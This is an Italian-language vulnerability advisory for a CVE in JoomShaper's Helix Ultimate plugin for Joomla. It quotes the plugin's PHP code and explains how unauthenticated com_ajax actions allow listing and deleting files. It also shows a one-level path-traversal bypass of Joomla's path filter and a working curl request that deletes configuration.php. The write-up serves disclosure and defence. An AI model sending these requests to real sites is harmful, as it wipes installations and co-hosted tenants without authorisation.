
Eliminazione arbitraria non autenticata di file/cartelle in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Questa è una vulnerabilità confermata di DoS + accesso cross-tenant al filesystem, NON RCE. Una teoria di escalation RCE (cancellare configuration.php per riesporre l'installer di Joomla) è stata testata dal vivo e smentita — vedi "Escalation RCE — testata e smentita" sotto. Non rappresentare questo come RCE in alcun report senza prima derivare una vera catena.
Aggiornamento di gravità (2026-07-06, secondo passaggio): il parametro path NON è contenuto in modo sicuro nella webroot di Joomla come inizialmente valutato — il filtro di input PATH di Joomla non blocca un singolo componente di traversal /../, quindi questo bug raggiunge (lettura: elenco completo directory; scrittura: cancellazione file o cancellazione ricorsiva contenuti cartella) qualsiasi cosa sul filesystem a cui l'utente del server web può accedere, non solo file all'interno dell'installazione di Joomla. Su qualsiasi configurazione di hosting condiviso dove più siti/tenant vivono come directory sorelle sotto lo stesso utente del sistema operativo (estremamente comune: cPanel "addon domains", sottoscrizioni Plesk che condividono un utente di sistema, hosting economici), un singolo sito basato su Helix-Ultimate consente a un visitatore anonimo di distruggere ogni altro sito sullo stesso account. Vedi "Path traversal escapes JPATH_ROOT entirely" sotto per la prova dal vivo.
Componente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), fornito in bundle con praticamente ogni template JoomShaper per Joomla (basato su Helix Ultimate).
Versione testata: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD al 2026-07, ultimo push 2026-06-30)
Autore: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php espone deleteMedia(), getFolders() e createFolder() attraverso l'hook di dispatch com_ajax di Joomla in helixultimate.php::onAfterRoute(). Questi tre metodi chiamano solo Session::checkToken() (un semplice controllo CSRF, soddisfatto dal proprio token di sessione di qualsiasi visitatore anonimo — raccoglibile dall'HTML della homepage del sito) — nessun controllo authorise() / login. Questo è incoerente con il metodo gemello uploadMedia() nella stessa classe, che correttamente richiede core.edit su com_templates.
Poiché si tratta di un plugin di sistema, onAfterRoute() viene eseguito su ogni richiesta indipendentemente dal template attualmente attivo — il percorso di codice vulnerabile è raggiungibile fintanto che il plugin è installato e abilitato (cosa che è, per impostazione predefinita, su qualsiasi sito che utilizza un template JoomShaper basato su Helix Ultimate).
plugins/system/helixultimate/helixultimate.php (circa linea 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path passa attraverso il filtro di input PATH di Joomla (InputFilter::cleanPath()). Due cose indipendenti rendono questo pericoloso:
path viene risolto direttamente sotto JPATH_ROOT, quindi qualsiasi percorso assoluto dalla root (/configuration.php, /administrator/..., /media/...) è già raggiungibile.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) consente esattamente una sequenza di punti/trattini/caratteri alfanumerici posizionata subito dopo il blocco iniziale [A-Za-z0-9_/-]+ — e una / iniziale da sola soddisfa quel blocco iniziale, quindi una stringa come /../sibling_dir corrisponde pulitamente: / (blocco 1), .. (la sequenza di punti consentita), /sibling_dir (un normale segmento finale). Il filtro è stato scritto per rifiutare un segmento che inizia un nuovo componente /… con un punto, ma non ha mai previsto un singolo .. posizionato direttamente dopo il primo carattere della stringa. Concatenare ../../.. NON sopravvive (ogni successivo segmento /… dopo la prima sequenza di punti deve iniziare con un carattere non punto) — quindi la fuga è limitata esattamente a un solo livello di directory sopra JPATH_ROOT, ma tutto ciò che sta al di sotto di quel livello (profondità arbitraria) è poi raggiungibile normalmente, poiché i segmenti successivi sono solo normali componenti di percorso senza punti.configuration.php → interruzione istantanea e totale del sito (errore fatale "No configuration"), una richiesta HTTP, autenticazione zero.type=folder) → ad esempio /administrator, /components, /media → molto più distruttiva, distrugge effettivamente l'installazione.view-media (Media::getFolders()): elenca tutti i file immagine, tutti i nomi delle sottocartelle e i percorsi assoluti del server sotto qualsiasi percorso relativo alla root, nessuna autenticazione richiesta (usato sotto come segnale di rilevamento sicuro).Testato contro un'istanza Docker usa e getta (Joomla 5.4.6 + plugin Helix Ultimate 2.2.6, installazione fresca, sessione browser completamente anonima — nessun login, nessun cookie tranne quello che Joomla rilascia ad ogni visitatore):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."